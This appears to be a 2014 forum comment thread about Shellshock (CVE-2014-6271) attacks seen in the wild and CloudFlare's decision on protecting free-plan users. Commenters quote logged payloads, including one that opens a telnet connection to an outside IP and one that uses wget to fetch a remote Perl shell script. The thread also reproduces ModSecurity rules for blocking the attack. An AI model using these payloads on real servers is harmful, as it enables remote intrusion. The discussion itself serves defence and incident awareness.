That's very similar to what we are seeing as well:

http://blog.sucuri.net/2014/09/bash-shellshocker-attacks-inc...

Also, if anyone need a WAF to protect it in the mean while, we offer one that works very well with CloudFlare (their free plan).

Our team is giving is free for 30 days to help out.

Details: https://sucuri.net/website-firewall/

*Just email [email protected] and they will get you hooked up.

thanks,

Thank you for that blog post. I managed to retrieve some of them and add a few attack vectors to my checklist: https://jve.linuxwall.info/blog/index.php?post/2014/09/25/Sh...

If you find any more of them, do you think you could publish their checksums?

Out of curiosty: did it cause any problems with intended use of this shell feature? Did anyone complained that it broke something that worked before?

We have not seen any complaints about this.

I assume Cloudflare are filtering HTTP headers. I cannot imagine a valid reason to pass in functions to bash in headers.

And functions with malicious shell script appended at that! ;)

There is no intended use, it's a pure evil bug in bash. I wouldn't be surprised if it was discovered that it has been implanted intentionnally.

How can a bug be evil? Don't attach morals to things which should be amoral.

Its a joke, eval(uate) is evil...

This is guerrilla marketing at its finest, and I mean that in a good way.

Seeing a mix of some that don't do much of anything but I'm starting to see a bunch of new ones using telnet are now starting to pop up.

() { :;}; /bin/bash -c \x22telnet 197.242.148.29 9999\x22 () { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq

The payloads that don't do much of anything are possibly security researchers or white hats trying to get an idea of the scope of the issue and/or get ahead of this. Ex. http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...

Yeah, that's certainly the case with a couple of them and then there's one's like this that are trying to set up shells and where they've been established:

Request of file: /cgi-sys/defaultwebpage.cgi With wget downloading a perl script to launch a shell: () { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=example.com -O /tmp/a.pl\x22

That site is still up and serving right now if anyone wants to take a look.

Same attack hit my server... They're looking for Cpanel sites (defaultwebpage.cgi). Here's a paste of the source in case it goes away:

http://pastebin.com/UdJZqUyV

CloudFlare is so amazing... Thanks for all your hard work. I have over a million blocked malicious attempts on my site which gets a huge amount of traffic (not shellshock, I mean in general).

and if I am not a paying customer, can I enable them manually?

No, the WAF is not included in the free plan.

Out of curiosity, have you considered enabling it temporarily for everyone with Shellshock rules enabled? Just a day or two, to give people time to fix this. Is it feasible with your infrastructure/the way WAF works (I never used one)?

It could do a lot of good for people and be a great PR move at the same time.

I'm going to bring it up internally, but don't hold your breath.

Consider that the bug can be used as an amplification attack and you have a lot of webservers behind the free plan. I'm guessing you don't want to have Cloudflare's infrastructure be the IPs that everyone is blocking because some yoyo is using this to turn those machines into DDOS slaves. Might help your case internally.

Follow up: we enabled basic Shellshock protection for everyone.

https://blog.cloudflare.com/shellshock-protection-enabled-fo...

Thanks!

EDIT after OP's edit.

Sad. This situation feels kind of a disaster-relief thing; not a good time to think about monetizing it. Still, I do understand you don't want people thinking you'll always be protecting them from everything even if they don't pay.

EDIT2 after clarification downthread, previous edit is to be disregarded.

It's less about trying to monetize it than about the cost to us of suddenly inspecting every request that goes through us. We service a huge volume of traffic and part of our core value is performance so keeping our processing latency is low as possible is important.

(Note: I removed sentence about CloudFlare pricing from previous comment to avoid any confusion about monetization)

Fair enough; that's what I meant when asking if it is feasible for you to do so.

Thank you for clarification!

Would it be possible to enable it temporarily to see whether the change significantly impacts your processing latency?

Or do so on a small percentage of free traffic and see how much CPU headroom you still have left.

The monetization has not been put in place right now. It has always been there (the possibility to add these rules).

If this is a disaster-relief thing-y, CloudFlare should then be eligible to receive government money later. I doubt that would be even considered by any parties.

As a paying customer, I'd like to say thanks. Too many companies give too much away for free, leaving no incentive to upgrade.

Still, publishing suggested rulesets or at least sending them over to OWASP would be Good Guy.

The RedHat advisory had mod_security rules in it. Our rules are our version of that.

https://access.redhat.com/articles/1200223

    SecRule REQUEST_HEADERS: "^\(\) {" "phase:1,deny,id:1000000,t:urlDecode,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
    SecRule REQUEST_LINE "\(\) {" "phase:1,deny,id:1000001,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
    SecRule ARGS_NAMES "^\(\) {" "phase:2,deny,id:1000002,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
    SecRule ARGS "^\(\) {" "phase:2,deny,id:1000003,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
    SecRule FILES_NAMES "^\(\) {"  "phase:2,deny,id:1000004,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271  - Bash Attack'"

Thanks for sharing this! I've already encountered some skepticism as to the severity of the bug so information like this is very helpful.

Only a few of those look like exploits. A lot of them look like customers testing whether they're vulnerable.

Are you guys at all capable of seeing how far back exploitation of this goes?

No. I only have data for things the WAF blocked.

Paying customers get protection automatically while free customers do not?

I think this is not something which should be treated as a "value-added service" for your paying customers. The health and security of the Internet is far too important.

All your customers should be protected automatically.

P.S. I'm a big fan of Cloudflare.